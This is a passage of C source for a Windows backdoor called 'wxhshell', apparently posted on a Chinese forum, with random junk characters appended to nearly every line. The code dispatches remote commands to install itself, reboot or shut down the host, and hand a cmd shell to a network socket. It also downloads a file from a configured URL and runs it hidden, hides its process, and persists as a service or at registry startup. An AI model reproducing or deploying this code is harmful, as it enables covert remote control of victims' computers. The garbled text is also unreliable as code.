    switch(cmd[0]) { aj&L ZDD6  
  oRWje#4O  
  // 帮助 fs 'SCwx  
  case '?': { kXwAw]ogN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3CoZ2  
    break;  ##rkyd  
  } 5^g*  
  // 安装 0Qt!w(  
  case 'i': { E)_n?>Ar  
    if(Install()) } {1IB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Rn?pe^  
    else 90Ki.K0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k: Pn.<  
    break; gXdMGO>  
    } 0~qc,-)3  
  // 卸载 /mex{+p>tO  
  case 'r': { > <YU'>%  
    if(Uninstall()) @|b-X? `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eP-|3$  
    else |UXSUP @s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +F8{4^w1  
    break; z{rV|vQ  
    } 9eMle?pF  
  // 显示 wxhshell 所在路径 G"<#tif9K  
  case 'p': { =NF0E8O  
    char svExeFile[MAX_PATH]; # rkq ?:Q  
    strcpy(svExeFile,"\n\r"); 'C'mgEl%L  
      strcat(svExeFile,ExeFile); zXY8:+f  
        send(wsh,svExeFile,strlen(svExeFile),0); ZyGoOk  
    break; {=Zy;Er  
    } }4|EHhG  
  // 重启 ~Gu$E qQ  
  case 'b': { Ek{QNlQ]4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0caZ_-zU  
    if(Boot(REBOOT)) 1rm\u%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;qWu8\T+  
    else { ybBmg'198  
    closesocket(wsh); {18hzhs  
    ExitThread(0); tMxd e+ $y  
    } X4V>qHV72  
    break; 5#DMizv6  
    } bJ^h{]  
  // 关机 \Bo%2O%4  
  case 'd': { !D??Y^6bI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nz dN4+  
    if(Boot(SHUTDOWN)) TR DQ+Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *S,~zOYN  
    else { lfgJQzi G  
    closesocket(wsh); lz,M$HG<[  
    ExitThread(0); xi5"?*&Sb  
    } <V&0GAZ  
    break; oYqH l1cs  
    } ;,f\Wf"BW  
  // 获取shell ~|+ ~/  
  case 's': { [neuwdN  
    CmdShell(wsh); E5ce=$o  
    closesocket(wsh); "-Q+!byh  
    ExitThread(0); /lBK )(  
    break; ~lj[> |\Oj  
  } )2[)11J9t  
  // 退出 _(N+z.  
  case 'x': { sINQ?4_8T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xp^RAVXq`  
    CloseIt(wsh); nTy]sPn  
    break; 4aXIRu%#7  
    } 1/}H 0\9'  
  // 离开 =-U0r$sK+F  
  case 'q': { ,2M}qs"P7G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'UlVc2%{  
    closesocket(wsh);  &K/?#  
    WSACleanup(); i7Qb~RW  
    exit(1); KQ\K :#  
    break; QG5WsuT  
        } <*( Z}p  
  } Kip&YB%rk  
  } luoQ#1F?sl  
Aw#<:6-  
  // 提示信息 _uIS[%4g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FZi@h  
} Sm'Tz&!  
  } CRb*sfKDL  
mnpk9x}m  
  return; -#Zdf |  
} ^DYS~I%s  
5$9$R(KU  
// shell模块句柄  *&_*G~>D  
int CmdShell(SOCKET sock) 0 +=sBk (  
{ NqD]p{>Y  
STARTUPINFO si; $k~TVm Yex  
ZeroMemory(&si,sizeof(si)); CF bNv9GZj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '_c/CNs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'z$N{p40m  
PROCESS_INFORMATION ProcessInfo; 7+HK_wNi  
char cmdline[]="cmd"; $TIeeTB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v=llg ^  
  return 0; @v)Z>xv  
} Gx C+lqH#  
 YSD G!  
// 自身启动模式 y7HFmGM  
int StartFromService(void) x%mRDm~-  
{ ~gI%lORqN  
typedef struct NEq_!!/sF  
{ h^3gYL7O6  
  DWORD ExitStatus; '<Zm>L&  
  DWORD PebBaseAddress; 3TwjC:Yhv2  
  DWORD AffinityMask; VF?H0}YSHb  
  DWORD BasePriority; '/>Mr!H#  
  ULONG UniqueProcessId; Wiis<^)  
  ULONG InheritedFromUniqueProcessId; +CSpL2@  
}   PROCESS_BASIC_INFORMATION; o~LJ+m6-)  
]_s3<&R  
PROCNTQSIP NtQueryInformationProcess; ]1 f^ SxSI  
a/J<(sak~X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :c*"Dx'D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2-4N)q  
rq%]CsRY5  
  HANDLE             hProcess; zhn ?;Fi  
  PROCESS_BASIC_INFORMATION pbi; /oPW0of  
w#.3na  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "to!&@I| 4  
  if(NULL == hInst ) return 0; {nmG/dn {  
# -'A =j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lod+]*MD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m.<_WXH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B!RfPk1B<*  
u zZ|0  
  if (!NtQueryInformationProcess) return 0; U^PXpNQ'  
3%POTAw%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y|tHU'x  
  if(!hProcess) return 0; `D+zX  
Olzw)WjG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wdd}y`lS  
DGvuo 8  
  CloseHandle(hProcess); 2 }xePX9?  
qk& F>6<9*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {hS!IOM  
if(hProcess==NULL) return 0; Rpn<"LIoB:  
I}8e"#  
HMODULE hMod; ASXGM0t  
char procName[255]; LHY7_"u#  
unsigned long cbNeeded; $?GggP d  
SEgw!2H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h#0n2o#  
;$D,w  
  CloseHandle(hProcess); >G`p T#  
%1#\LRA(  
if(strstr(procName,"services")) return 1; // 以服务启动 Ca |}i+  
O nXo0PV/(  
  return 0; // 注册表启动 {it.F4.  
} D6ZHvY8R  
MdBmq/[O  
// 主模块 oG,>Pk  
int StartWxhshell(LPSTR lpCmdLine) O,%UNjx9K  
{ mE~ WE+lw9  
  SOCKET wsl; MIJuJ]U}  
BOOL val=TRUE; dk&F?B{6T  
  int port=0; v H HgZ  
  struct sockaddr_in door; >2#<gp3  
e r3M vw  
  if(wscfg.ws_autoins) Install(); 6))":<J  
v`4w=!4  
port=atoi(lpCmdLine); 9^*RK6  
%H\b5& _y  
if(port<=0) port=wscfg.ws_port; R0?bcP&  
t'_EcYNS  
  WSADATA data; 2}^=NUM\NX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {6u)EJ  
kff N0(MR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #S7oW@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >LPb>t5%p  
  door.sin_family = AF_INET; Fyvo;1a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); - (s0f  
  door.sin_port = htons(port); h8V*$  
,:Px(=d4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yn?beu'  
closesocket(wsl); 1Ek3^TOv7  
return 1; u7e$Mq  
} VxY]0&sq  
3,p!Fun:r  
  if(listen(wsl,2) == INVALID_SOCKET) { Z `F[0-  
closesocket(wsl); Fo3*PcUv  
return 1; *~8F.c x  
} O?vh]o  
  Wxhshell(wsl); Z}O]pm>=G  
  WSACleanup(); =z}PR1X!  
S257+ K9  
return 0; O>)eir7  
5AT^puL]]  
} s9C^Cy^su  
L@Rgiq|v-|  
// 以NT服务方式启动 +s#%\:Y M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P(PBOB97  
{ x(c+~4:_M  
DWORD   status = 0; SGKAx<U  
  DWORD   specificError = 0xfffffff; &YIL As^8A  
M~zI;:0O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O/eZ1YAC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~ZafTCa;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2P:X_:`~[  
  serviceStatus.dwWin32ExitCode     = 0; ->ZP.7  
  serviceStatus.dwServiceSpecificExitCode = 0; s8 WB!x{t  
  serviceStatus.dwCheckPoint       = 0; Y%i<~"k  
  serviceStatus.dwWaitHint       = 0; 56C8)?  
K+Him] b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #ed|0  
  if (hServiceStatusHandle==0) return; sm18u-  
A^aY-V  
status = GetLastError(); C).\ J !  
  if (status!=NO_ERROR) @Z/jaAjUC  
{ F w{:shC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]v<8 l4p;  
    serviceStatus.dwCheckPoint       = 0; hT%fM3|,e  
    serviceStatus.dwWaitHint       = 0; 8i;1JA  
    serviceStatus.dwWin32ExitCode     = status; &l cfX\y  
    serviceStatus.dwServiceSpecificExitCode = specificError; vapC5,W"2-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C-edQWbcP  
    return; |0Z J[[2  
  } M[I=N  
)Q1aAS3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; * o1US  
  serviceStatus.dwCheckPoint       = 0; >|S@twy  
  serviceStatus.dwWaitHint       = 0; 3nBZ+n4z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j+3\I>  
} EI=~*&t  
";U~wZW_  
// 处理NT服务事件,比如:启动、停止 aH;AGbp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e\~nqKCb  
{ sd4eG  
switch(fdwControl) D@p{EH  
{ ET^?>YsA  
case SERVICE_CONTROL_STOP: u""26k51  
  serviceStatus.dwWin32ExitCode = 0; X!g;;DB\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?[#w*Am7  
  serviceStatus.dwCheckPoint   = 0; TJYhgna  
  serviceStatus.dwWaitHint     = 0; e,C c.T\o  
  { [ as,AX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M? 8sy  
  } ~;?mD/0k  
  return; v[|-`e*  
case SERVICE_CONTROL_PAUSE: uWx<J3~q.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YXo?(T..  
  break; +8<$vzB  
case SERVICE_CONTROL_CONTINUE: L)M{S3q,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8}yrsF #  
  break; 4evN^es'I_  
case SERVICE_CONTROL_INTERROGATE: _L=-z*a\  
  break; >4@w|7lS  
}; g]j&F65D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~AWn 1vFc  
} `BZ|[ q3  
*& w/*h$!  
// 标准应用程序主函数 pku\)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iUz?mt;k  
{ 1E$\&*(  
7&,$  
// 获取操作系统版本 ZeG4z({af  
OsIsNt=GetOsVer(); UD14q~ (1Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wYe;xk`>  
}alq~jY  
  // 从命令行安装 N?c~AEk9U  
  if(strpbrk(lpCmdLine,"iI")) Install(); <f (z\pi1  
2aTq?ZR|8A  
  // 下载执行文件 NEIF1( :  
if(wscfg.ws_downexe) { @=G [mc\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (<B%Gy@  
  WinExec(wscfg.ws_filenam,SW_HIDE); )z&C&Gqz  
} $@s-OQ}  
WCY._H>|   
if(!OsIsNt) { 0vEQgx>  
// 如果时win9x,隐藏进程并且设置为注册表启动 qJ5b;=  
HideProc(); h}|.#!C3  
StartWxhshell(lpCmdLine); i~E0p ,  
} U;kN o3=  
else DN%JT[7  
  if(StartFromService()) 6  _V1s1F  
  // 以服务方式启动 'hu'}F{  
  StartServiceCtrlDispatcher(DispatchTable); dB~A4pZa  
else ;^JMX4[  
  // 普通方式启动 3\ ]j4*i!  
  StartWxhshell(lpCmdLine); k@9hth2Q  
A1;'S<a  
return 0; 7%$3`4i`O  
}
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只看该作者 1 发表于: 2006-10-10
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